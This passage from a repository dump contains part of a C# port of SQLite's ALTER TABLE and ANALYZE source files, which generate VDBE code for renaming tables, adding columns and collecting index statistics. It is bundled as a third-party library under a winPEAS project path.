is the name of the table in the database schema at\n    ** the time the generated code is executed. This can be different from\n    ** pTab.zName if this function is being called to code part of an\n    ** \"ALTER TABLE RENAME TO\" statement.\n    */\n    static void reloadTableSchema( Parse pParse, Table pTab, string zName )\n    {\n      Vdbe v;\n      string zWhere;\n      int iDb;                   /* Index of database containing pTab */\n#if !SQLITE_OMIT_TRIGGER\n      Trigger pTrig;\n#endif\n\n      v = sqlite3GetVdbe( pParse );\n      if ( NEVER( v == null ) ) return;\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) );\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n      Debug.Assert( iDb >= 0 );\n\n#if !SQLITE_OMIT_TRIGGER\n      /* Drop any table triggers from the internal schema. */\n      for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext )\n      {\n        int iTrigDb = sqlite3SchemaToIndex( pParse.db, pTrig.pSchema );\n        Debug.Assert( iTrigDb == iDb || iTrigDb == 1 );\n        sqlite3VdbeAddOp4( v, OP_DropTrigger, iTrigDb, 0, 0, pTrig.name, 0 );\n      }\n#endif\n\n      /* Drop the table and index from the internal schema */\n      sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 );\n\n      /* Reload the table, index and permanent trigger schemas. */\n      zWhere = sqlite3MPrintf( pParse.db, \"tbl_name=%Q\", zName );\n      if ( zWhere == null ) return;\n      sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, zWhere, P4_DYNAMIC );\n\n#if !SQLITE_OMIT_TRIGGER\n      /* Now, if the table is not stored in the temp database, reload any temp\n** triggers. Don't use IN(...) in case SQLITE_OMIT_SUBQUERY is defined.\n*/\n      if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != \"\" )\n      {\n        sqlite3VdbeAddOp4( v, OP_ParseSchema, 1, 0, 0, zWhere, P4_DYNAMIC );\n      }\n#endif\n    }\n\n    /*\n    ** Generate code to implement the \"ALTER TABLE xxx RENAME TO yyy\"\n    ** command.\n    */\n    static void sqlite3AlterRenameTable(\n    Parse pParse,             /* Parser context. */\n    SrcList pSrc,             /* The table to rename. */\n    Token pName               /* The new table name. */\n    )\n    {\n      int iDb;                  /* Database that contains the table */\n      string zDb;               /* Name of database iDb */\n      Table pTab;               /* Table being renamed */\n      string zName = null;      /* NULL-terminated version of pName */\n      sqlite3 db = pParse.db;   /* Database connection */\n      int nTabName;             /* Number of UTF-8 characters in zTabName */\n      string zTabName;          /* Original name of the table */\n      Vdbe v;\n#if !SQLITE_OMIT_TRIGGER\n      string zWhere = \"\";       /* Where clause to locate temp triggers */\n#endif\n      VTable pVTab = null;         /* Non-zero if this is a v-tab with an xRename() */\n\n      //if ( NEVER( db.mallocFailed != 0 ) ) goto exit_rename_table;\n      Debug.Assert( pSrc.nSrc == 1 );\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) );\n      pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase );\n      if ( pTab == null ) goto exit_rename_table;\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n      zDb = db.aDb[iDb].zName;\n\n      /* Get a NULL terminated version of the new table name. */\n      zName = sqlite3NameFromToken( db, pName );\n      if ( zName == null ) goto exit_rename_table;\n\n      /* Check that a table or index named 'zName' does not already exist\n      ** in database iDb. If so, this is an error.\n      */\n      if ( sqlite3FindTable( db, zName, zDb ) != null || sqlite3FindIndex( db, zName, zDb ) != null )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"there is already another table or index with this name: %s\", zName );\n        goto exit_rename_table;\n      }\n\n      /* Make sure it is not a system table being altered, or a reserved name\n      ** that the table is being renamed to.\n      */\n      if ( sqlite3Strlen30( pTab.zName ) > 6\n      && 0 == sqlite3StrNICmp( pTab.zName, \"sqlite_\", 7 )\n      )\n      {\n        sqlite3ErrorMsg( pParse, \"table %s may not be altered\", pTab.zName );\n        goto exit_rename_table;\n      }\n      if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) )\n      {\n        goto exit_rename_table;\n      }\n\n#if !SQLITE_OMIT_VIEW\n      if ( pTab.pSelect != null )\n      {\n        sqlite3ErrorMsg( pParse, \"view %s may not be altered\", pTab.zName );\n        goto exit_rename_table;\n      }\n#endif\n\n#if !SQLITE_OMIT_AUTHORIZATION\n/* Invoke the authorization callback. */\nif( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){\ngoto exit_rename_table;\n}\n#endif\n\n      if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 )\n      {\n        goto exit_rename_table;\n      }\n#if !SQLITE_OMIT_VIRTUALTABLE\n  if( IsVirtual(pTab) ){\n    pVTab = sqlite3GetVTable(db, pTab);\n    if( pVTab.pVtab.pModule.xRename==null ){\n      pVTab = null;\n    }\n#endif\n      /* Begin a transaction and code the VerifyCookie for database iDb.\n** Then modify the schema cookie (since the ALTER TABLE modifies the\n** schema). Open a statement transaction if the table is a virtual\n** table.\n*/\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null )\n      {\n        goto exit_rename_table;\n      }\n      sqlite3BeginWriteOperation( pParse, pVTab != null ? 1 : 0, iDb );\n      sqlite3ChangeCookie( pParse, iDb );\n\n      /* If this is a virtual table, invoke the xRename() function if\n      ** one is defined. The xRename() callback will modify the names\n      ** of any resources used by the v-table implementation (including other\n      ** SQLite tables) that are identified by the name of the virtual table.\n      */\n#if  !SQLITE_OMIT_VIRTUALTABLE\nif ( pVTab !=null)\n{\nint i = ++pParse.nMem;\nsqlite3VdbeAddOp4( v, OP_String8, 0, i, 0, zName, 0 );\nsqlite3VdbeAddOp4( v, OP_VRename, i, 0, 0, pVtab, P4_VTAB );\n}\n#endif\n\n      /* figure out how many UTF-8 characters are in zName */\n      zTabName = pTab.zName;\n      nTabName = sqlite3Utf8CharLen( zTabName, -1 );\n\n      /* Modify the sqlite_master table to use the new table name. */\n      sqlite3NestedParse( pParse,\n      \"UPDATE %Q.%s SET \" +\n#if SQLITE_OMIT_TRIGGER\n\"sql = sqlite_rename_table(sql, %Q), \"+\n#else\n \"sql = CASE \" +\n      \"WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)\" +\n      \"ELSE sqlite_rename_table(sql, %Q) END, \" +\n#endif\n \"tbl_name = %Q, \" +\n      \"name = CASE \" +\n      \"WHEN type='table' THEN %Q \" +\n      \"WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN \" +\n      \"'sqlite_autoindex_' || %Q || substr(name,%d+18) \" +\n      \"ELSE name END \" +\n      \"WHERE tbl_name=%Q AND \" +\n      \"(type='table' OR type='index' OR type='trigger');\",\n      zDb, SCHEMA_TABLE( iDb ), zName, zName, zName,\n#if !SQLITE_OMIT_TRIGGER\n zName,\n#endif\n zName, nTabName, zTabName\n      );\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n      /* If the sqlite_sequence table exists in this database, then update\n** it with the new table name.\n*/\n      if ( sqlite3FindTable( db, \"sqlite_sequence\", zDb ) != null )\n      {\n        sqlite3NestedParse( pParse,\n        \"UPDATE \\\"%w\\\".sqlite_sequence set name = %Q WHERE name = %Q\",\n        zDb, zName, pTab.zName\n        );\n      }\n#endif\n\n#if !SQLITE_OMIT_TRIGGER\n      /* If there are TEMP triggers on this table, modify the sqlite_temp_master\n** table. Don't do this if the table being ALTERed is itself located in\n** the temp database.\n*/\n      if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != \"\" )\n      {\n        sqlite3NestedParse( pParse,\n        \"UPDATE sqlite_temp_master SET \" +\n        \"sql = sqlite_rename_trigger(sql, %Q), \" +\n        \"tbl_name = %Q \" +\n        \"WHERE %s;\", zName, zName, zWhere );\n        //sqlite3DbFree( db, ref zWhere );\n      }\n#endif\n\n      /* Drop and reload the internal table schema. */\n      reloadTableSchema( pParse, pTab, zName );\n\nexit_rename_table:\n      sqlite3SrcListDelete( db, ref pSrc );\n      //sqlite3DbFree( db, ref zName );\n    }\n\n    /*\n    ** Generate code to make sure the file format number is at least minFormat.\n    ** The generated code will increase the file format number if necessary.\n    */\n    static void sqlite3MinimumFileFormat( Parse pParse, int iDb, int minFormat )\n    {\n      Vdbe v;\n      v = sqlite3GetVdbe( pParse );\n      /* The VDBE should have been allocated before this routine is called.\n      ** If that allocation failed, we would have quit before reaching this\n      ** point */\n      if ( ALWAYS( v ) )\n      {\n        int r1 = sqlite3GetTempReg( pParse );\n        int r2 = sqlite3GetTempReg( pParse );\n        int j1;\n        sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, r1, BTREE_FILE_FORMAT );\n        sqlite3VdbeUsesBtree( v, iDb );\n        sqlite3VdbeAddOp2( v, OP_Integer, minFormat, r2 );\n        j1 = sqlite3VdbeAddOp3( v, OP_Ge, r2, 0, r1 );\n        sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, r2 );\n        sqlite3VdbeJumpHere( v, j1 );\n        sqlite3ReleaseTempReg( pParse, r1 );\n        sqlite3ReleaseTempReg( pParse, r2 );\n      }\n    }\n\n    /*\n    ** This function is called after an \"ALTER TABLE ... ADD\" statement\n    ** has been parsed. Argument pColDef contains the text of the new\n    ** column definition.\n    **\n    ** The Table structure pParse.pNewTable was extended to include\n    ** the new column during parsing.\n    */\n    static void sqlite3AlterFinishAddColumn( Parse pParse, Token pColDef )\n    {\n      Table pNew;              /* Copy of pParse.pNewTable */\n      Table pTab;              /* Table being altered */\n      int iDb;                 /* Database number */\n      string zDb;              /* Database name */\n      string zTab;             /* Table name */\n      string zCol;             /* Null-terminated column definition */\n      Column pCol;             /* The new column */\n      Expr pDflt;              /* Default value for the new column */\n      sqlite3 db;              /* The database connection; */\n\n      db = pParse.db;\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return;\n      pNew = pParse.pNewTable;\n      Debug.Assert( pNew != null );\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) );\n      iDb = sqlite3SchemaToIndex( db, pNew.pSchema );\n      zDb = db.aDb[iDb].zName;\n      zTab = pNew.zName.Substring( 16 );// zTab = &pNew->zName[16]; /* Skip the \"sqlite_altertab_\" prefix on the name */\n      pCol = pNew.aCol[pNew.nCol - 1];\n      pDflt = pCol.pDflt;\n      pTab = sqlite3FindTable( db, zTab, zDb );\n      Debug.Assert( pTab != null );\n\n#if !SQLITE_OMIT_AUTHORIZATION\n/* Invoke the authorization callback. */\nif( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){\nreturn;\n}\n#endif\n\n      /* If the default value for the new column was specified with a\n** literal NULL, then set pDflt to 0. This simplifies checking\n** for an SQL NULL default below.\n*/\n      if ( pDflt != null && pDflt.op == TK_NULL )\n      {\n        pDflt = null;\n      }\n\n      /* Check that the new column is not specified as PRIMARY KEY or UNIQUE.\n      ** If there is a NOT NULL constraint, then the default value for the\n      ** column must not be NULL.\n      */\n      if ( pCol.isPrimKey != 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"Cannot add a PRIMARY KEY column\" );\n        return;\n      }\n      if ( pNew.pIndex != null )\n      {\n        sqlite3ErrorMsg( pParse, \"Cannot add a UNIQUE column\" );\n        return;\n      }\n      if ( pCol.notNull != 0 && pDflt == null )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"Cannot add a NOT NULL column with default value NULL\" );\n        return;\n      }\n\n      /* Ensure the default expression is something that sqlite3ValueFromExpr()\n      ** can handle (i.e. not CURRENT_TIME etc.)\n      */\n      if ( pDflt != null )\n      {\n        sqlite3_value pVal = null;\n        if ( sqlite3ValueFromExpr( db, pDflt, SQLITE_UTF8, SQLITE_AFF_NONE, ref pVal ) != 0 )\n        {\n  //        db.mallocFailed = 1;\n          return;\n        }\n        if ( pVal == null )\n        {\n          sqlite3ErrorMsg( pParse, \"Cannot add a column with non-constant default\" );\n          return;\n        }\n        sqlite3ValueFree( ref pVal );\n      }\n\n      /* Modify the CREATE TABLE statement. */\n      zCol = pColDef.z.Substring( 0, pColDef.n ).Replace( \";\", \" \" ).Trim();//sqlite3DbStrNDup(db, (char*)pColDef.z, pColDef.n);\n      if ( zCol != null )\n      {\n        //  char zEnd = zCol[pColDef.n-1];\n        //      while( zEnd>zCol && (*zEnd==';' || sqlite3Isspace(*zEnd)) ){\n        //    zEnd-- = '\\0';\n        //  }\n        sqlite3NestedParse( pParse,\n        \"UPDATE \\\"%w\\\".%s SET \" +\n        \"sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) \" +\n        \"WHERE type = 'table' AND name = %Q\",\n        zDb, SCHEMA_TABLE( iDb ), pNew.addColOffset, zCol, pNew.addColOffset + 1,\n        zTab\n        );\n        //sqlite3DbFree( db, ref zCol );\n      }\n\n      /* If the default value of the new column is NULL, then set the file\n      ** format to 2. If the default value of the new column is not NULL,\n      ** the file format becomes 3.\n      */\n      sqlite3MinimumFileFormat( pParse, iDb, pDflt != null ? 3 : 2 );\n\n      /* Reload the schema of the modified table. */\n      reloadTableSchema( pParse, pTab, pTab.zName );\n    }\n\n    /*\n    ** This function is called by the parser after the table-name in\n    ** an \"ALTER TABLE <table-name> ADD\" statement is parsed. Argument\n    ** pSrc is the full-name of the table being altered.\n    **\n    ** This routine makes a (partial) copy of the Table structure\n    ** for the table being altered and sets Parse.pNewTable to point\n    ** to it. Routines called by the parser as the column definition\n    ** is parsed (i.e. sqlite3AddColumn()) add the new Column data to\n    ** the copy. The copy of the Table structure is deleted by tokenize.c\n    ** after parsing is finished.\n    **\n    ** Routine sqlite3AlterFinishAddColumn() will be called to complete\n    ** coding the \"ALTER TABLE ... ADD\" statement.\n    */\n    static void sqlite3AlterBeginAddColumn( Parse pParse, SrcList pSrc )\n    {\n      Table pNew;\n      Table pTab;\n      Vdbe v;\n      int iDb;\n      int i;\n      int nAlloc;\n      sqlite3 db = pParse.db;\n\n      /* Look up the table being altered. */\n      Debug.Assert( pParse.pNewTable == null );\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) );\n//      if ( db.mallocFailed != 0 ) goto exit_begin_add_column;\n      pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase );\n      if ( pTab == null ) goto exit_begin_add_column;\n\n      if ( IsVirtual( pTab ) )\n      {\n        sqlite3ErrorMsg( pParse, \"virtual tables may not be altered\" );\n        goto exit_begin_add_column;\n      }\n\n      /* Make sure this is not an attempt to ALTER a view. */\n      if ( pTab.pSelect != null )\n      {\n        sqlite3ErrorMsg( pParse, \"Cannot add a column to a view\" );\n        goto exit_begin_add_column;\n      }\n\n      Debug.Assert( pTab.addColOffset > 0 );\n      iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n\n      /* Put a copy of the Table struct in Parse.pNewTable for the\n      ** sqlite3AddColumn() function and friends to modify.  But modify\n      ** the name by adding an \"sqlite_altertab_\" prefix.  By adding this\n      ** prefix, we insure that the name will not collide with an existing\n      ** table because user table are not allowed to have the \"sqlite_\"\n      ** prefix on their name.\n      */\n      pNew = new Table();// (Table*)sqlite3DbMallocZero( db, sizeof(Table))\n      if ( pNew == null ) goto exit_begin_add_column;\n      pParse.pNewTable = pNew;\n      pNew.nRef = 1;\n      pNew.dbMem = pTab.dbMem;\n      pNew.nCol = pTab.nCol;\n      Debug.Assert( pNew.nCol > 0 );\n      nAlloc = ( ( ( pNew.nCol - 1 ) / 8 ) * 8 ) + 8;\n      Debug.Assert( nAlloc >= pNew.nCol && nAlloc % 8 == 0 && nAlloc - pNew.nCol < 8 );\n      pNew.aCol = new Column[nAlloc];// (Column*)sqlite3DbMallocZero( db, sizeof(Column) * nAlloc );\n      pNew.zName = sqlite3MPrintf( db, \"sqlite_altertab_%s\", pTab.zName );\n      if ( pNew.aCol == null || pNew.zName == null )\n      {\n//        db.mallocFailed = 1;\n        goto exit_begin_add_column;\n      }\n      // memcpy( pNew.aCol, pTab.aCol, sizeof(Column) * pNew.nCol );\n      for ( i = 0 ; i < pNew.nCol ; i++ )\n      {\n        Column pCol = pTab.aCol[i].Copy();\n        // sqlite3DbStrDup( db, pCol.zName );\n        pCol.zColl = null;\n        pCol.zType = null;\n        pCol.pDflt = null;\n        pCol.zDflt = null;\n        pNew.aCol[i] = pCol;\n      }\n      pNew.pSchema = db.aDb[iDb].pSchema;\n      pNew.addColOffset = pTab.addColOffset;\n      pNew.nRef = 1;\n\n      /* Begin a transaction and increment the schema cookie.  */\n      sqlite3BeginWriteOperation( pParse, 0, iDb );\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) goto exit_begin_add_column;\n      sqlite3ChangeCookie( pParse, iDb );\n\nexit_begin_add_column:\n      sqlite3SrcListDelete( db, ref pSrc );\n      return;\n    }\n#endif  // * SQLITE_ALTER_TABLE */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/analyze_c.cs",
    "content": "using System.Diagnostics;\nusing u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_int64 = System.Int64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2005 July 8\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code associated with the ANALYZE command.\n    **\n    ** @(#) $Id: analyze.c,v 1.52 2009/04/16 17:45:48 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n#if !SQLITE_OMIT_ANALYZE\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** This routine generates code that opens the sqlite_stat1 table on cursor\n    ** iStatCur.\n    **\n    ** If the sqlite_stat1 tables does not previously exist, it is created.\n    ** If it does previously exist, all entires associated with table zWhere\n    ** are removed.  If zWhere==0 then all entries are removed.\n    */\n    static void openStatTable(\n    Parse pParse,       /* Parsing context */\n    int iDb,            /* The database we are looking in */\n    int iStatCur,       /* Open the sqlite_stat1 table on this cursor */\n    string zWhere       /* Delete entries associated with this table */\n    )\n    {\n      sqlite3 db = pParse.db;\n      Db pDb;\n      int iRootPage;\n      u8 createStat1 = 0;\n      Table pStat;\n      Vdbe v = sqlite3GetVdbe( pParse );\n\n      if ( v == null ) return;\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) );\n      Debug.Assert( sqlite3VdbeDb( v ) == db );\n      pDb = db.aDb[iDb];\n      if ( ( pStat = sqlite3FindTable( db, \"sqlite_stat1\", pDb.zName ) ) == null )\n      {\n        /* The sqlite_stat1 tables does not exist.  Create it.\n        ** Note that a side-effect of the CREATE TABLE statement is to leave\n        ** the rootpage of the new table in register pParse.regRoot.  This is\n        ** important because the OpenWrite opcode below will be needing it. */\n        sqlite3NestedParse( pParse,\n        \"CREATE TABLE %Q.sqlite_stat1(tbl,idx,stat)\",\n        pDb.zName\n        );\n        iRootPage = pParse.regRoot;\n        createStat1 = 1;  /* Cause rootpage to be taken from top of stack */\n      }\n      else if ( zWhere != null )\n      {\n        /* The sqlite_stat1 table exists.  Delete all entries associated with\n        ** the table zWhere. */\n        sqlite3NestedParse( pParse,\n        \"DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q\",\n        pDb.zName, zWhere\n        );\n        iRootPage = pStat.tnum;\n      }\n      else\n      {\n        /* The sqlite_stat1 table already exists.  Delete all rows. */\n        iRootPage = pStat.tnum;\n        sqlite3VdbeAddOp2( v, OP_Clear, pStat.tnum, iDb );\n      }\n\n      /* Open the sqlite_stat1 table for writing. Unless it was created\n      ** by this vdbe program, lock it for writing at the shared-cache level.\n      ** If this vdbe did create the sqlite_stat1 table, then it must have\n      ** already obtained a schema-lock, making the write-lock redundant.\n      */\n      if ( createStat1 == 0 )\n      {\n        sqlite3TableLock( pParse, iDb, iRootPage, 1, \"sqlite_stat1\" );\n      }\n      sqlite3VdbeAddOp3( v, OP_OpenWrite, iStatCur, iRootPage, iDb );\n      sqlite3VdbeChangeP4( v, -1, (int)3, P4_INT32 );\n      sqlite3VdbeChangeP5( v, createStat1 );\n    }\n\n    /*\n    ** Generate code to do an analysis of all indices associated with\n    ** a single table.\n    */\n    static void analyzeOneTable(\n    Parse pParse,    /* Parser context */\n    Table pTab,      /* Table whose indices are to be analyzed */\n    int iStatCur,    /* Index of VdbeCursor that writes the sqlite_stat1 table */\n    int iMem         /* Available memory locations begin here */\n    )\n    {\n      Index pIdx;      /* An index to being analyzed */\n      int iIdxCur;     /* Index of VdbeCursor for index being analyzed */\n      int nCol;        /* Number of columns in the index */\n      Vdbe v;          /* The virtual machine being built up */\n      int i;           /* Loop counter */\n      int topOfLoop;   /* The top of the loop */\n      int endOfLoop;   /* The end of the loop */\n      int addr;        /* The address of an instruction */\n      int iDb;         /* Index of database containing pTab */\n\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null || NEVER( pTab == null ) || pTab.pIndex == null )\n      {\n        /* Do no analysis for tables that have no indices */\n        return;\n      }\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) );\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n      Debug.Assert( iDb >= 0 );\n#if !SQLITE_OMIT_AUTHORIZATION\nif( sqlite3AuthCheck(pParse, SQLITE_ANALYZE, pTab.zName, 0,\npParse.db.aDb[iDb].zName ) ){\nreturn;\n}\n#endif\n\n      /* Establish a read-lock on the table at the shared-cache level. */\n      sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName );\n\n      iIdxCur = pParse.nTab++;\n      for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n      {\n        KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx );\n        int regFields;    /* Register block for building records */\n        int regRec;       /* Register holding completed record */\n        int regTemp;      /* Temporary use register */\n        int regCol;       /* Content of a column from the table being analyzed */\n        int regRowid;     /* Rowid for the inserted record */\n        int regF2;\n\n        /* Open a cursor to the index to be analyzed\n        */\n        Debug.Assert( iDb == sqlite3SchemaToIndex( pParse.db, pIdx.pSchema ) );\n        nCol = pIdx.nColumn;\n        sqlite3VdbeAddOp4( v, OP_OpenRead, iIdxCur, pIdx.tnum, iDb,\n        pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"%s\", pIdx.zName );\n#endif\n        regFields = iMem + nCol * 2;\n        regTemp = regRowid = regCol = regFields + 3;\n        regRec = regCol + 1;\n        if ( regRec > pParse.nMem )\n        {\n          pParse.nMem = regRec;\n        }\n\n        /* Memory cells are used as follows:\n        **\n        **    mem[iMem]:             The total number of rows in the table.\n        **    mem[iMem+1]:           Number of distinct values in column 1\n        **    ...\n        **    mem[iMem+nCol]:        Number of distinct values in column N\n        **    mem[iMem+nCol+1]       Last observed value of column 1\n        **    ...\n        **    mem[iMem+nCol+nCol]:   Last observed value of column N\n        **\n        ** Cells iMem through iMem+nCol are initialized to 0.  The others\n        ** are initialized to NULL.\n        */\n        for ( i = 0 ; i <= nCol ; i++ )\n        {\n          sqlite3VdbeAddOp2( v, OP_Integer, 0, iMem + i );\n        }\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          sqlite3VdbeAddOp2( v, OP_Null, 0, iMem + nCol + i + 1 );\n        }\n\n        /* Do the analysis.\n        */\n        endOfLoop = sqlite3VdbeMakeLabel( v );\n        sqlite3VdbeAddOp2( v, OP_Rewind, iIdxCur, endOfLoop );\n        topOfLoop = sqlite3VdbeCurrentAddr( v );\n        sqlite3VdbeAddOp2( v, OP_AddImm, iMem, 1 );\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, regCol );\n          sqlite3VdbeAddOp3( v, OP_Ne, regCol, 0, iMem + nCol + i + 1 );\n          /**** TODO:  add collating sequence *****/\n          sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL );\n        }\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, endOfLoop );\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          sqlite3VdbeJumpHere( v, topOfLoop + 2 * ( i + 1 ) );\n          sqlite3VdbeAddOp2( v, OP_AddImm, iMem + i + 1, 1 );\n          sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, iMem + nCol + i + 1 );\n        }\n        sqlite3VdbeResolveLabel( v, endOfLoop );\n        sqlite3VdbeAddOp2( v, OP_Next, iIdxCur, topOfLoop );\n        sqlite3VdbeAddOp1( v, OP_Close, iIdxCur );\n\n        /* Store the results.\n        **\n        ** The result is a single row of the sqlite_stat1 table.  The first\n        ** two columns are the names of the table and index.  The third column\n        ** is a string composed of a list of integer statistics about the\n        ** index.  The first integer in the list is the total number of entries\n        ** in the index.  There is one additional integer in the list for each\n        ** column of the table.  This additional integer is a guess of how many\n        ** rows of the table the index will select.  If D is the count of distinct\n        ** values and K is the total number of rows, then the integer is computed\n        ** as:\n        **\n        **        I = (K+D-1)/D\n        **\n        ** If K==0 then no entry is made into the sqlite_stat1 table.\n        ** If K>0 then it is always the case the D>0 so division by zero\n        ** is never possible.\n        */\n        addr = sqlite3VdbeAddOp1( v, OP_IfNot, iMem );\n        sqlite3VdbeAddOp4( v, OP_String8, 0, regFields, 0, pTab.zName, 0 );\n        sqlite3VdbeAddOp4( v, OP_String8, 0, regFields + 1, 0, pIdx.zName, 0 );\n        regF2 = regFields + 2;\n        sqlite3VdbeAddOp2( v, OP_SCopy, iMem, regF2 );\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          sqlite3VdbeAddOp4( v, OP_String8, 0, regTemp, 0, ' ', 0 );\n          sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 );\n          sqlite3VdbeAddOp3( v, OP_Add, iMem, iMem + i + 1, regTemp );\n          sqlite3VdbeAddOp2( v, OP_AddImm, regTemp, -1 );\n          sqlite3VdbeAddOp3( v, OP_Divide, iMem + i + 1, regTemp, regTemp );\n          sqlite3VdbeAddOp1( v, OP_ToInt, regTemp );\n          sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 );\n        }\n        sqlite3VdbeAddOp4( v, OP_MakeRecord, regFields, 3, regRec, new byte[] { (byte)'a', (byte)'a', (byte)'a' }, 0 );\n        sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur, regRowid );\n        sqlite3VdbeAddOp3( v, OP_Insert, iStatCur, regRec, regRowid );\n        sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n        sqlite3VdbeJumpHere( v, addr );\n      }\n    }\n\n    /*\n    ** Generate code that will cause the most recent index analysis to\n    ** be laoded into internal hash tables where is can be used.\n    */\n    static void loadAnalysis( Parse pParse, int iDb )\n    {\n      Vdbe v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp1( v, OP_LoadAnalysis, iDb );\n      }\n    }\n\n    /*\n    ** Generate code that will do an analysis of an entire database\n    */\n    static void analyzeDatabase( Parse pParse, int iDb )\n    {\n      sqlite3 db = pParse.db;\n      Schema pSchema = db.aDb[iDb].pSchema;    /* Schema of database iDb */\n      HashElem k;\n      int iStatCur;\n      int iMem;\n\n      sqlite3BeginWriteOperation( pParse, 0, iDb );\n      iStatCur = pParse.nTab++;\n      openStatTable( pParse, iDb, iStatCur, null );\n      iMem = pParse.nMem + 1;\n      //for(k=sqliteHashFirst(pSchema.tblHash); k; k=sqliteHashNext(k)){\n      for ( k = pSchema.tblHash.first ; k != null ; k = k.next )\n      {\n        Table pTab = (Table)k.data;// sqliteHashData( k );\n        analyzeOneTable( pParse, pTab, iStatCur, iMem );\n      }\n      loadAnalysis( pParse, iDb );\n    }\n\n    /*\n    ** Generate code that will do an analysis of a single table in\n    ** a database.\n    */\n    static void analyzeTable( Parse pParse, Table pTab )\n    {\n      int iDb;\n      int iStatCur;\n\n      Debug.Assert( pTab != null );\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) );\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n      sqlite3BeginWriteOperation( pParse, 0, iDb );\n      iStatCur = pParse.nTab++;\n      openStatTable( pParse, iDb, iStatCur, pTab.zName );\n      analyzeOneTable( pParse, pTab, iStatCur, pParse.nMem + 1 );\n      loadAnalysis( pParse, iDb );\n    }\n\n    /*\n    ** Generate code for the ANALYZE command.  The parser calls this routine\n    ** when it recognizes an ANALYZE command.\n    **\n    **        ANALYZE                            -- 1\n    **        ANALYZE  <database>                -- 2\n    **        ANALYZE  ?<database>.?<tablename>  -- 3\n    **\n    ** Form 1 causes all indices in all attached databases to be analyzed.\n    ** Form 2 analyzes all indices the single database named.\n    ** Form 3 analyzes all indices associated with the named table.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3Analyze( Parse pParse, int null_2, int null_3 )\n    { sqlite3Analyze( pParse, null, null ); }\n    static void sqlite3Analyze( Parse pParse, Token pName1, Token pName2 )\n    {\n      sqlite3 db = pParse.db;\n      int iDb;\n      int i;\n      string z, zDb;\n      Table pTab;\n      Token pTableName = null;\n\n      /* Read the database schema. If an error occurs, leave an error message\n      ** and code in pParse and return NULL. */\n      Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) 